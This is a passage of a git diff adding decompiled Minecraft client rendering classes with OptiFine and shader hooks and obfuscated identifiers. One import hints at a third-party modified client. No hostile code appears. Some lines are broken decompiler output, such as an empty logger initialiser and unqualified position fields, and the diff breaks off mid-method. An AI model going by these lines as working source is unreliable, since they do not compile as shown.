+        return new ModelResourceLocation((ResourceLocation)Block.blockRegistry.getNameForObject(p_178132_1_.getBlock()), func_178131_a(var2));
+      }
+    });
+    func_178121_a(Blocks.melon_stem, new StateMapperBase()
+    {
+      private static final String __OBFID = "CL_00002525";
+      
+      protected ModelResourceLocation func_178132_a(IBlockState p_178132_1_) {
+        LinkedHashMap var2 = Maps.newLinkedHashMap(p_178132_1_.getProperties());
+        
+        if (p_178132_1_.getValue(BlockStem.FACING_PROP) != EnumFacing.UP)
+        {
+          var2.remove(BlockStem.AGE_PROP);
+        }
+        
+        return new ModelResourceLocation((ResourceLocation)Block.blockRegistry.getNameForObject(p_178132_1_.getBlock()), func_178131_a(var2));
+      }
+    });
+    func_178121_a(Blocks.dirt, new StateMapperBase()
+    {
+      private static final String __OBFID = "CL_00002524";
+      
+      protected ModelResourceLocation func_178132_a(IBlockState p_178132_1_) {
+        LinkedHashMap var2 = Maps.newLinkedHashMap(p_178132_1_.getProperties());
+        String var3 = BlockDirt.VARIANT.getName((Comparable)var2.remove(BlockDirt.VARIANT));
+        
+        if (net.minecraft.block.BlockDirt.DirtType.PODZOL != p_178132_1_.getValue(BlockDirt.VARIANT))
+        {
+          var2.remove(BlockDirt.SNOWY);
+        }
+        
+        return new ModelResourceLocation(var3, func_178131_a(var2));
+      }
+    });
+    func_178121_a(Blocks.double_stone_slab, new StateMapperBase()
+    {
+      private static final String __OBFID = "CL_00002523";
+      
+      protected ModelResourceLocation func_178132_a(IBlockState p_178132_1_) {
+        LinkedHashMap var2 = Maps.newLinkedHashMap(p_178132_1_.getProperties());
+        String var3 = BlockStoneSlab.field_176556_M.getName((Comparable)var2.remove(BlockStoneSlab.field_176556_M));
+        var2.remove(BlockStoneSlab.field_176555_b);
+        String var4 = ((Boolean)p_178132_1_.getValue(BlockStoneSlab.field_176555_b)).booleanValue() ? "all" : "normal";
+        return new ModelResourceLocation(var3 + "_double_slab", var4);
+      }
+    });
+    func_178121_a(Blocks.double_stone_slab2, new StateMapperBase()
+    {
+      private static final String __OBFID = "CL_00002522";
+      
+      protected ModelResourceLocation func_178132_a(IBlockState p_178132_1_) {
+        LinkedHashMap var2 = Maps.newLinkedHashMap(p_178132_1_.getProperties());
+        String var3 = BlockStoneSlabNew.field_176559_M.getName((Comparable)var2.remove(BlockStoneSlabNew.field_176559_M));
+        var2.remove(BlockStoneSlab.field_176555_b);
+        String var4 = ((Boolean)p_178132_1_.getValue(BlockStoneSlabNew.field_176558_b)).booleanValue() ? "all" : "normal";
+        return new ModelResourceLocation(var3 + "_double_slab", var4);
+      }
+    });
+  }
+  
+  static final class SwitchEnumType
+  {
+    static final int[] field_178257_a = new int[BlockQuartz.EnumType.values().length];
+    private static final String __OBFID = "CL_00002521";
+    
+    static
+    {
+      try
+      {
+        field_178257_a[BlockQuartz.EnumType.DEFAULT.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178257_a[BlockQuartz.EnumType.CHISELED.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178257_a[BlockQuartz.EnumType.LINES_Y.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_178257_a[BlockQuartz.EnumType.LINES_X.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_178257_a[BlockQuartz.EnumType.LINES_Z.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+    }
+    
+    SwitchEnumType() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/BlockRendererDispatcher.java b/src/minecraft/net/minecraft/client/renderer/BlockRendererDispatcher.java
new file mode 100644
index 0000000..fbe8a42
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/BlockRendererDispatcher.java
@@ -0,0 +1,232 @@
+package net.minecraft.client.renderer;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.resources.IResourceManagerReloadListener;
+import net.minecraft.client.resources.model.IBakedModel;
+import net.minecraft.client.resources.model.SimpleBakedModel.Builder;
+import net.minecraft.client.resources.model.WeightedBakedModel;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.WorldType;
+import optifine.Config;
+import optifine.Reflector;
+import optifine.ReflectorClass;
+import shadersmod.client.SVertexBuilder;
+
+public class BlockRendererDispatcher implements IResourceManagerReloadListener
+{
+  private BlockModelShapes field_175028_a;
+  private final GameSettings field_175026_b;
+  private final BlockModelRenderer blockModelRenderer = new BlockModelRenderer();
+  private final ChestRenderer chestRenderer = new ChestRenderer();
+  private final BlockFluidRenderer fluidRenderer = new BlockFluidRenderer();
+  
+  public BlockRendererDispatcher(BlockModelShapes p_i46237_1_, GameSettings p_i46237_2_)
+  {
+    field_175028_a = p_i46237_1_;
+    field_175026_b = p_i46237_2_;
+  }
+  
+  public BlockModelShapes func_175023_a()
+  {
+    return field_175028_a;
+  }
+  
+  public void func_175020_a(IBlockState p_175020_1_, BlockPos p_175020_2_, TextureAtlasSprite p_175020_3_, IBlockAccess p_175020_4_)
+  {
+    Block var5 = p_175020_1_.getBlock();
+    int var6 = var5.getRenderType();
+    
+    if (var6 == 3)
+    {
+      p_175020_1_ = var5.getActualState(p_175020_1_, p_175020_4_, p_175020_2_);
+      IBakedModel var7 = field_175028_a.func_178125_b(p_175020_1_);
+      
+      if (Reflector.ISmartBlockModel.isInstance(var7))
+      {
+        IBlockState var15 = (IBlockState)Reflector.call(var5, Reflector.ForgeBlock_getExtendedState, new Object[] { p_175020_1_, p_175020_4_, p_175020_2_ });
+        EnumWorldBlockLayer[] arr$ = EnumWorldBlockLayer.values();
+        int len$ = arr$.length;
+        
+        for (int i$ = 0; i$ < len$; i$++)
+        {
+          EnumWorldBlockLayer layer = arr$[i$];
+          
+          if (Reflector.callBoolean(var5, Reflector.ForgeBlock_canRenderInLayer, new Object[] { layer }))
+          {
+            Reflector.callVoid(Reflector.ForgeHooksClient_setRenderLayer, new Object[] { layer });
+            IBakedModel targetLayer = (IBakedModel)Reflector.call(var7, Reflector.ISmartBlockModel_handleBlockState, new Object[] { var15 });
+            IBakedModel damageModel = new SimpleBakedModel.Builder(targetLayer, p_175020_3_).func_177645_b();
+            blockModelRenderer.func_178259_a(p_175020_4_, damageModel, p_175020_1_, p_175020_2_, Tessellator.getInstance().getWorldRenderer());
+          }
+        }
+        
+        return;
+      }
+      
+      IBakedModel var8 = new SimpleBakedModel.Builder(var7, p_175020_3_).func_177645_b();
+      blockModelRenderer.func_178259_a(p_175020_4_, var8, p_175020_1_, p_175020_2_, Tessellator.getInstance().getWorldRenderer());
+    }
+  }
+  
+  public boolean func_175018_a(IBlockState p_175018_1_, BlockPos p_175018_2_, IBlockAccess p_175018_3_, WorldRenderer p_175018_4_)
+  {
+    try
+    {
+      int var8 = p_175018_1_.getBlock().getRenderType();
+      
+      if (var8 == -1)
+      {
+        return false;
+      }
+      
+
+      switch (var8)
+      {
+      case 1: 
+        if (Config.isShaders())
+        {
+          SVertexBuilder.pushEntity(p_175018_1_, p_175018_2_, p_175018_3_, p_175018_4_);
+        }
+        
+        boolean var61 = fluidRenderer.func_178270_a(p_175018_3_, p_175018_1_, p_175018_2_, p_175018_4_);
+        
+        if (Config.isShaders())
+        {
+          SVertexBuilder.popEntity(p_175018_4_);
+        }
+        
+        return var61;
+      
+      case 2: 
+        return false;
+      
+      case 3: 
+        IBakedModel var71 = getModelFromBlockState(p_175018_1_, p_175018_3_, p_175018_2_);
+        
+        if (Config.isShaders())
+        {
+          SVertexBuilder.pushEntity(p_175018_1_, p_175018_2_, p_175018_3_, p_175018_4_);
+        }
+        
+        boolean flag3 = blockModelRenderer.func_178259_a(p_175018_3_, var71, p_175018_1_, p_175018_2_, p_175018_4_);
+        
+        if (Config.isShaders())
+        {
+          SVertexBuilder.popEntity(p_175018_4_);
+        }
+        
+        return flag3;
+      }
+      
+      return false;
+
+    }
+    catch (Throwable var9)
+    {
+
+      CrashReport var6 = CrashReport.makeCrashReport(var9, "Tesselating block in world");
+      CrashReportCategory var7 = var6.makeCategory("Block being tesselated");
+      CrashReportCategory.addBlockInfo(var7, p_175018_2_, p_175018_1_.getBlock(), p_175018_1_.getBlock().getMetaFromState(p_175018_1_));
+      throw new net.minecraft.util.ReportedException(var6);
+    }
+  }
+  
+  public BlockModelRenderer func_175019_b()
+  {
+    return blockModelRenderer;
+  }
+  
+  private IBakedModel func_175017_a(IBlockState p_175017_1_, BlockPos p_175017_2_)
+  {
+    IBakedModel var3 = field_175028_a.func_178125_b(p_175017_1_);
+    
+    if ((p_175017_2_ != null) && (field_175026_b.field_178880_u) && ((var3 instanceof WeightedBakedModel)))
+    {
+      var3 = ((WeightedBakedModel)var3).func_177564_a(MathHelper.func_180186_a(p_175017_2_));
+    }
+    
+    return var3;
+  }
+  
+  public IBakedModel getModelFromBlockState(IBlockState p_175022_1_, IBlockAccess p_175022_2_, BlockPos p_175022_3_)
+  {
+    Block var4 = p_175022_1_.getBlock();
+    
+    if (p_175022_2_.getWorldType() != WorldType.DEBUG_WORLD)
+    {
+      try
+      {
+        p_175022_1_ = var4.getActualState(p_175022_1_, p_175022_2_, p_175022_3_);
+      }
+      catch (Exception localException) {}
+    }
+    
+
+
+
+    IBakedModel var5 = field_175028_a.func_178125_b(p_175022_1_);
+    
+    if ((p_175022_3_ != null) && (field_175026_b.field_178880_u) && ((var5 instanceof WeightedBakedModel)))
+    {
+      var5 = ((WeightedBakedModel)var5).func_177564_a(MathHelper.func_180186_a(p_175022_3_));
+    }
+    
+    if (Reflector.ISmartBlockModel.isInstance(var5))
+    {
+      IBlockState extendedState = (IBlockState)Reflector.call(var4, Reflector.ForgeBlock_getExtendedState, new Object[] { p_175022_1_, p_175022_2_, p_175022_3_ });
+      var5 = (IBakedModel)Reflector.call(var5, Reflector.ISmartBlockModel_handleBlockState, new Object[] { extendedState });
+    }
+    
+    return var5;
+  }
+  
+  public void func_175016_a(IBlockState p_175016_1_, float p_175016_2_)
+  {
+    int var3 = p_175016_1_.getBlock().getRenderType();
+    
+    if (var3 != -1)
+    {
+      switch (var3)
+      {
+      case 1: 
+      default: 
+        break;
+      
+      case 2: 
+        chestRenderer.func_178175_a(p_175016_1_.getBlock(), p_175016_2_);
+        break;
+      
+      case 3: 
+        IBakedModel var4 = func_175017_a(p_175016_1_, null);
+        blockModelRenderer.func_178266_a(var4, p_175016_1_, p_175016_2_, true);
+      }
+    }
+  }
+  
+  public boolean func_175021_a(Block p_175021_1_, int p_175021_2_)
+  {
+    if (p_175021_1_ == null)
+    {
+      return false;
+    }
+    
+
+    int var3 = p_175021_1_.getRenderType();
+    return var3 != 3;
+  }
+  
+
+  public void onResourceManagerReload(IResourceManager resourceManager)
+  {
+    fluidRenderer.func_178268_a();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/ChestRenderer.java b/src/minecraft/net/minecraft/client/renderer/ChestRenderer.java
new file mode 100644
index 0000000..037618f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/ChestRenderer.java
@@ -0,0 +1,17 @@
+package net.minecraft.client.renderer;
+
+import net.minecraft.client.renderer.tileentity.TileEntityRendererChestHelper;
+
+public class ChestRenderer
+{
+  private static final String __OBFID = "CL_00002530";
+  
+  public ChestRenderer() {}
+  
+  public void func_178175_a(net.minecraft.block.Block p_178175_1_, float p_178175_2_)
+  {
+    GlStateManager.color(p_178175_2_, p_178175_2_, p_178175_2_, 1.0F);
+    GlStateManager.rotate(90.0F, 0.0F, 1.0F, 0.0F);
+    TileEntityRendererChestHelper.instance.renderByItem(new net.minecraft.item.ItemStack(p_178175_1_));
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/ChunkRenderContainer.java b/src/minecraft/net/minecraft/client/renderer/ChunkRenderContainer.java
new file mode 100644
index 0000000..199a37d
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/ChunkRenderContainer.java
@@ -0,0 +1,39 @@
+package net.minecraft.client.renderer;
+
+import com.google.common.collect.Lists;
+import java.util.List;
+import net.minecraft.client.renderer.chunk.RenderChunk;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumWorldBlockLayer;
+
+public abstract class ChunkRenderContainer
+{
+  private double field_178008_c;
+  private double field_178005_d;
+  private double field_178006_e;
+  protected List field_178009_a = Lists.newArrayListWithCapacity(17424);
+  protected boolean field_178007_b;
+  private static final String __OBFID = "CL_00002563";
+  
+  public ChunkRenderContainer() {}
+  
+  public void func_178004_a(double p_178004_1_, double p_178004_3_, double p_178004_5_) { field_178007_b = true;
+    field_178009_a.clear();
+    field_178008_c = p_178004_1_;
+    field_178005_d = p_178004_3_;
+    field_178006_e = p_178004_5_;
+  }
+  
+  public void func_178003_a(RenderChunk p_178003_1_)
+  {
+    BlockPos var2 = p_178003_1_.func_178568_j();
+    GlStateManager.translate((float)(var2.getX() - field_178008_c), (float)(var2.getY() - field_178005_d), (float)(var2.getZ() - field_178006_e));
+  }
+  
+  public void func_178002_a(RenderChunk p_178002_1_, EnumWorldBlockLayer p_178002_2_)
+  {
+    field_178009_a.add(p_178002_1_);
+  }
+  
+  public abstract void func_178001_a(EnumWorldBlockLayer paramEnumWorldBlockLayer);
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/DestroyBlockProgress.java b/src/minecraft/net/minecraft/client/renderer/DestroyBlockProgress.java
new file mode 100644
index 0000000..4058da9
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/DestroyBlockProgress.java
@@ -0,0 +1,70 @@
+package net.minecraft.client.renderer;
+
+import net.minecraft.util.BlockPos;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DestroyBlockProgress
+{
+  private final int miningPlayerEntId;
+  private final BlockPos field_180247_b;
+  private int partialBlockProgress;
+  private int createdAtCloudUpdateTick;
+  private static final String __OBFID = "CL_00001427";
+  
+  public DestroyBlockProgress(int p_i45925_1_, BlockPos p_i45925_2_)
+  {
+    miningPlayerEntId = p_i45925_1_;
+    field_180247_b = p_i45925_2_;
+  }
+  
+  public BlockPos func_180246_b()
+  {
+    return field_180247_b;
+  }
+  
+
+
+
+
+  public void setPartialBlockDamage(int damage)
+  {
+    if (damage > 10)
+    {
+      damage = 10;
+    }
+    
+    partialBlockProgress = damage;
+  }
+  
+  public int getPartialBlockDamage()
+  {
+    return partialBlockProgress;
+  }
+  
+
+
+
+  public void setCloudUpdateTick(int p_82744_1_)
+  {
+    createdAtCloudUpdateTick = p_82744_1_;
+  }
+  
+
+
+
+  public int getCreationCloudUpdateTick()
+  {
+    return createdAtCloudUpdateTick;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/EntityRenderer.java b/src/minecraft/net/minecraft/client/renderer/EntityRenderer.java
new file mode 100644
index 0000000..fdc8e42
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/EntityRenderer.java
@@ -0,0 +1,2880 @@
+package net.minecraft.client.renderer;
+
+import com.enjoytheban.api.EventBus;
+import com.google.gson.JsonSyntaxException;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.nio.FloatBuffer;
+import java.util.Calendar;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import java.util.concurrent.Callable;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockBed;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.AbstractClientPlayer;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.gui.GuiDownloadTerrain;
+import net.minecraft.client.gui.GuiIngame;
+import net.minecraft.client.gui.GuiMainMenu;
+import net.minecraft.client.gui.GuiNewChat;
+import net.minecraft.client.gui.MapItemRenderer;
+import net.minecraft.client.gui.ScaledResolution;
+import net.minecraft.client.multiplayer.PlayerControllerMP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.particle.EffectRenderer;
+import net.minecraft.client.renderer.culling.Frustrum;
+import net.minecraft.client.renderer.texture.DynamicTexture;
+import net.minecraft.client.renderer.texture.ITextureObject;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.resources.IResourceManagerReloadListener;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.shader.Framebuffer;
+import net.minecraft.client.shader.ShaderGroup;
+import net.minecraft.client.shader.ShaderLinkHelper;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityCreeper;
+import net.minecraft.entity.monster.EntitySpider;
+import net.minecraft.entity.passive.EntityAnimal;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.item.ItemStack;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.server.integrated.IntegratedServer;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MouseFilter;
+import net.minecraft.util.MouseHelper;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.biome.BiomeGenBase;
+import optifine.Config;
+import optifine.CustomColors;
+import optifine.Lagometer;
+import optifine.Lagometer.TimerNano;
+import optifine.Reflector;
+import optifine.ReflectorConstructor;
+import optifine.ReflectorForge;
+import optifine.ReflectorMethod;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.input.Mouse;
+import org.lwjgl.opengl.ContextCapabilities;
+import org.lwjgl.opengl.Display;
+import org.lwjgl.opengl.GL11;
+import org.lwjgl.opengl.GLContext;
+import org.lwjgl.util.glu.Project;
+import shadersmod.client.Shaders;
+import shadersmod.client.ShadersRender;
+
+public class EntityRenderer implements IResourceManagerReloadListener
+{
+  private static final Logger logger = ;
+  private static final ResourceLocation locationRainPng = new ResourceLocation("textures/environment/rain.png");
+  private static final ResourceLocation locationSnowPng = new ResourceLocation("textures/environment/snow.png");
+  
+  public static boolean anaglyphEnable;
+  
+  public static int anaglyphField;
+  
+  private Minecraft mc;
+  
+  private final IResourceManager resourceManager;
+  private Random random = new Random();
+  
+  private float farPlaneDistance;
+  
+  public ItemRenderer itemRenderer;
+  
+  private final MapItemRenderer theMapItemRenderer;
+  
+  private int rendererUpdateCount;
+  private Entity pointedEntity;
+  private MouseFilter mouseFilterXAxis = new MouseFilter();
+  private MouseFilter mouseFilterYAxis = new MouseFilter();
+  private float thirdPersonDistance = 4.0F;
+  
+
+  private float thirdPersonDistanceTemp = 4.0F;
+  
+
+  private float smoothCamYaw;
+  
+
+  private float smoothCamPitch;
+  
+
+  private float smoothCamFilterX;
+  
+
+  private float smoothCamFilterY;
+  
+
+  private float smoothCamPartialTicks;
+  
+  private float fovModifierHand;
+  
+  private float fovModifierHandPrev;
+  
+  private float bossColorModifier;
+  
+  private float bossColorModifierPrev;
+  
+  private boolean cloudFog;
+  
+  private boolean field_175074_C = true;
+  private boolean field_175073_D = true;
+  
+
+  private long prevFrameTime = Minecraft.getSystemTime();
+  
+
+  private long renderEndNanoTime;
+  
+
+  private final DynamicTexture lightmapTexture;
+  
+
+  private final int[] lightmapColors;
+  
+
+  private final ResourceLocation locationLightMap;
+  
+
+  private boolean lightmapUpdateNeeded;
+  
+
+  private float torchFlickerX;
+  
+
+  private float field_175075_L;
+  
+
+  private int rainSoundCounter;
+  
+
+  private float[] field_175076_N = new float['Ѐ'];
+  private float[] field_175077_O = new float['Ѐ'];
+  
+
+  private FloatBuffer fogColorBuffer = GLAllocation.createDirectFloatBuffer(16);
+  
+  public float field_175080_Q;
+  
+  public float field_175082_R;
+  
+  public float field_175081_S;
+  
+  private float fogColor2;
+  private float fogColor1;
+  private int field_175079_V = 0;
+  private boolean field_175078_W = false;
+  private double cameraZoom = 1.0D;
+  private double cameraYaw;
+  private double cameraPitch;
+  private ShaderGroup theShaderGroup;
+  private static final ResourceLocation[] shaderResourceLocations = { new ResourceLocation("shaders/post/notch.json"), new ResourceLocation("shaders/post/fxaa.json"), new ResourceLocation("shaders/post/art.json"), new ResourceLocation("shaders/post/bumpy.json"), new ResourceLocation("shaders/post/blobs2.json"), new ResourceLocation("shaders/post/pencil.json"), new ResourceLocation("shaders/post/color_convolve.json"), new ResourceLocation("shaders/post/deconverge.json"), new ResourceLocation("shaders/post/flip.json"), new ResourceLocation("shaders/post/invert.json"), new ResourceLocation("shaders/post/ntsc.json"), new ResourceLocation("shaders/post/outline.json"), new ResourceLocation("shaders/post/phosphor.json"), new ResourceLocation("shaders/post/scan_pincushion.json"), new ResourceLocation("shaders/post/sobel.json"), new ResourceLocation("shaders/post/bits.json"), new ResourceLocation("shaders/post/desaturate.json"), new ResourceLocation("shaders/post/green.json"), new ResourceLocation("shaders/post/blur.json"), new ResourceLocation("shaders/post/wobble.json"), new ResourceLocation("shaders/post/blobs.json"), new ResourceLocation("shaders/post/antialias.json"), new ResourceLocation("shaders/post/creeper.json"), new ResourceLocation("shaders/post/spider.json") };
+  public static final int shaderCount = shaderResourceLocations.length;
+  private int shaderIndex;
+  private boolean field_175083_ad;
+  public int field_175084_ae;
+  private static final String __OBFID = "CL_00000947";
+  private boolean initialized = false;
+  private net.minecraft.world.World updatedWorld = null;
+  private boolean showDebugInfo = false;
+  public boolean fogStandard = false;
+  private float clipDistance = 128.0F;
+  private long lastServerTime = 0L;
+  private int lastServerTicks = 0;
+  private int serverWaitTime = 0;
+  private int serverWaitTimeCurrent = 0;
+  private float avgServerTimeDiff = 0.0F;
+  private float avgServerTickDiff = 0.0F;
+  private long lastErrorCheckTimeMs = 0L;
+  private ShaderGroup[] fxaaShaders = new ShaderGroup[10];
+  
+  public EntityRenderer(Minecraft mcIn, IResourceManager p_i45076_2_)
+  {
+    shaderIndex = shaderCount;
+    field_175083_ad = false;
+    field_175084_ae = 0;
+    mc = mcIn;
+    resourceManager = p_i45076_2_;
+    itemRenderer = mcIn.getItemRenderer();
+    theMapItemRenderer = new MapItemRenderer(mcIn.getTextureManager());
+    lightmapTexture = new DynamicTexture(16, 16);
+    locationLightMap = mcIn.getTextureManager().getDynamicTextureLocation("lightMap", lightmapTexture);
+    lightmapColors = lightmapTexture.getTextureData();
+    theShaderGroup = null;
+    
+    for (int var3 = 0; var3 < 32; var3++)
+    {
+      for (int var4 = 0; var4 < 32; var4++)
+      {
+        float var5 = var4 - 16;
+        float var6 = var3 - 16;
+        float var7 = MathHelper.sqrt_float(var5 * var5 + var6 * var6);
+        field_175076_N[(var3 << 5 | var4)] = (-var6 / var7);
+        field_175077_O[(var3 << 5 | var4)] = (var5 / var7);
+      }
+    }
+  }
+  
+  public boolean isShaderActive()
+  {
+    return (OpenGlHelper.shadersSupported) && (theShaderGroup != null);
+  }
+  
+  public void stopUseShader()
+  {
+    if (theShaderGroup != null)
+    {
+      theShaderGroup.deleteShaderGroup();
+    }
+    
+    theShaderGroup = null;
+    shaderIndex = shaderCount;
+  }
+  
+  public void func_175071_c()
+  {
+    field_175083_ad = (!field_175083_ad);
+  }
+  
+  public void func_175066_a(Entity p_175066_1_)
+  {
+    if (OpenGlHelper.shadersSupported)
+    {
+      if (theShaderGroup != null)
+      {
+        theShaderGroup.deleteShaderGroup();
+      }
+      
+      theShaderGroup = null;
+      
+      if ((p_175066_1_ instanceof EntityCreeper))
+      {
+        func_175069_a(new ResourceLocation("shaders/post/creeper.json"));
+      }
+      else if ((p_175066_1_ instanceof EntitySpider))
+      {
+        func_175069_a(new ResourceLocation("shaders/post/spider.json"));
+      }
+      else if ((p_175066_1_ instanceof net.minecraft.entity.monster.EntityEnderman))
+      {
+        func_175069_a(new ResourceLocation("shaders/post/invert.json"));
+      }
+      else if (Reflector.ForgeHooksClient_loadEntityShader.exists())
+      {
+        Reflector.call(Reflector.ForgeHooksClient_loadEntityShader, new Object[] { p_175066_1_, this });
+      }
+    }
+  }
+  
+  public void activateNextShader()
+  {
+    if ((OpenGlHelper.shadersSupported) && ((mc.func_175606_aa() instanceof EntityPlayer)))
+    {
+      if (theShaderGroup != null)
+      {
+        theShaderGroup.deleteShaderGroup();
+      }
+      
+      shaderIndex = ((shaderIndex + 1) % (shaderResourceLocations.length + 1));
+      
+      if (shaderIndex != shaderCount)
+      {
+        func_175069_a(shaderResourceLocations[shaderIndex]);
+      }
+      else
+      {
+        theShaderGroup = null;
+      }
+    }
+  }
+  
+  private void func_175069_a(ResourceLocation p_175069_1_)
+  {
+    if (OpenGlHelper.isFramebufferEnabled())
+    {
+      try
+      {
+        theShaderGroup = new ShaderGroup(mc.getTextureManager(), resourceManager, mc.getFramebuffer(), p_175069_1_);
+        theShaderGroup.createBindFramebuffers(mc.displayWidth, mc.displayHeight);
+        field_175083_ad = true;
+      }
+      catch (IOException var3)
+      {
+        logger.warn("Failed to load shader: " + p_175069_1_, var3);
+        shaderIndex = shaderCount;
+        field_175083_ad = false;
+      }
+      catch (JsonSyntaxException var4)
+      {
+        logger.warn("Failed to load shader: " + p_175069_1_, var4);
+        shaderIndex = shaderCount;
+        field_175083_ad = false;
+      }
+    }
+  }
+  
+  public void onResourceManagerReload(IResourceManager resourceManager)
+  {
+    if (theShaderGroup != null)
+    {
+      theShaderGroup.deleteShaderGroup();
+    }
+    
+    theShaderGroup = null;
+    
+    if (shaderIndex != shaderCount)
+    {
+      func_175069_a(shaderResourceLocations[shaderIndex]);
+    }
+    else
+    {
+      func_175066_a(mc.func_175606_aa());
+    }
+  }
+  
+
+
+
+  public void updateRenderer()
+  {
+    if ((OpenGlHelper.shadersSupported) && (ShaderLinkHelper.getStaticShaderLinkHelper() == null))
+    {
+      ShaderLinkHelper.setNewStaticShaderLinkHelper();
+    }
+    
+    updateFovModifierHand();
+    updateTorchFlicker();
+    fogColor2 = fogColor1;
+    thirdPersonDistanceTemp = thirdPersonDistance;
+    
+
+
+    if (mc.gameSettings.smoothCamera)
+    {
+      float var1 = mc.gameSettings.mouseSensitivity * 0.6F + 0.2F;
+      float var2 = var1 * var1 * var1 * 8.0F;
+      smoothCamFilterX = mouseFilterXAxis.smooth(smoothCamYaw, 0.05F * var2);
+      smoothCamFilterY = mouseFilterYAxis.smooth(smoothCamPitch, 0.05F * var2);
+      smoothCamPartialTicks = 0.0F;
+      smoothCamYaw = 0.0F;
+      smoothCamPitch = 0.0F;
+    }
+    else
+    {
+      smoothCamFilterX = 0.0F;
+      smoothCamFilterY = 0.0F;
+      mouseFilterXAxis.func_180179_a();
+      mouseFilterYAxis.func_180179_a();
+    }
+    
+    if (mc.func_175606_aa() == null)
+    {
+      mc.func_175607_a(mc.thePlayer);
+    }
+    
+    Entity viewEntity = mc.func_175606_aa();
+    double vx = posX;
+    double vy = posY + viewEntity.getEyeHeight();
+    double vz = posZ;
+    float var1 = mc.theWorld.getLightBrightness(new BlockPos(vx, vy, vz));
+    float var2 = mc.gameSettings.renderDistanceChunks / 16.0F;
+    var2 = MathHelper.clamp_float(var2, 0.0F, 1.0F);
+    float var3 = var1 * (1.0F - var2) + var2;
+    fogColor1 += (var3 - fogColor1) * 0.1F;
+    rendererUpdateCount += 1;
+    itemRenderer.updateEquippedItem();
+    addRainParticles();
+    bossColorModifierPrev = bossColorModifier;
+    
+    if (net.minecraft.entity.boss.BossStatus.hasColorModifier)
+    {
+      bossColorModifier += 0.05F;
+      
+      if (bossColorModifier > 1.0F)
+      {
+        bossColorModifier = 1.0F;
+      }
+      
+      net.minecraft.entity.boss.BossStatus.hasColorModifier = false;
+    }
+    else if (bossColorModifier > 0.0F)
+    {
+      bossColorModifier -= 0.0125F;
+    }
+  }
+  
+  public ShaderGroup getShaderGroup()
+  {
+    return theShaderGroup;
+  }
+  
+  public void updateShaderGroupSize(int p_147704_1_, int p_147704_2_)
+  {
+    if (OpenGlHelper.shadersSupported)
+    {
+      if (theShaderGroup != null)
+      {
+        theShaderGroup.createBindFramebuffers(p_147704_1_, p_147704_2_);
+      }
+      
+      mc.renderGlobal.checkOcclusionQueryResult(p_147704_1_, p_147704_2_);
+    }
+  }
+  
+
+
+
+  public void getMouseOver(float p_78473_1_)
+  {
+    Entity var2 = mc.func_175606_aa();
+    
+    if ((var2 != null) && (mc.theWorld != null))
+    {
+      mc.mcProfiler.startSection("pick");
+      mc.pointedEntity = null;
+      double var3 = mc.playerController.getBlockReachDistance();
+      mc.objectMouseOver = var2.func_174822_a(var3, p_78473_1_);
+      double var5 = var3;
+      Vec3 var7 = var2.func_174824_e(p_78473_1_);
+      
+      if (mc.playerController.extendedReach())
+      {
+        var3 = 6.0D;
+        var5 = 6.0D;
+      }
